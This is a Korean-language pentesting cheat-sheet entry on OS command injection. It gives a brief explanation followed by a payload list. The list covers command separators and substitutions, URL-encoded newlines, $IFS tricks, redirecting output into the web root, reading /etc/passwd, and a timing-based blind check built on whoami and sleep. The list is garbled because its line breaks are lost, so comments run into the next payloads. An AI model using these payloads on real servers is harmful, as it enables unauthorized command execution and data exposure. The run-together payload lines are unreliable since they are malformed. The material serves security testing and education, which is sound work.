명령어 삽입은 공격자가 응용 프로그램을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있게 하는 것을 의미합니다. 결과적으로 응용 프로그램과 모든 데이터가 완전히 침해될 수 있습니다. 이러한 명령을 실행하면 일반적으로 공격자가 응용 프로그램 환경 및 기본 시스템에 무단 액세스 또는 제어를 얻을 수 있습니다.
문맥
입력이 삽입되는 위치에 따라, 명령어 앞에 " 또는 '를 사용하여 인용된 문맥을 종료해야 할 수 있습니다.
명령어 삽입/실행
#Both Unix and Windows supportedls||id; ls||id; ls||id; ls||id# Execute bothls|id; ls|id; ls|id; ls|id# Execute both (using a pipe)ls&&id; ls&&id; ls&&id; ls&&id# Execute 2º if 1º finish okls&id; ls&id; ls&id; ls&id# Execute both but you can only see the output of the 2ºls%0Aid# %0A Execute both (RECOMMENDED)#Only unix supported`ls`# ``$(ls)# $()ls; id# ; Chain commandsls${LS_COLORS:10:1}${IFS}id# Might be useful#Not executed but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
제한 사항 우회
만약 리눅스 머신 내에서 임의의 명령을 실행하려고 한다면 이 우회에 대해 읽어볼 가치가 있습니다:
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s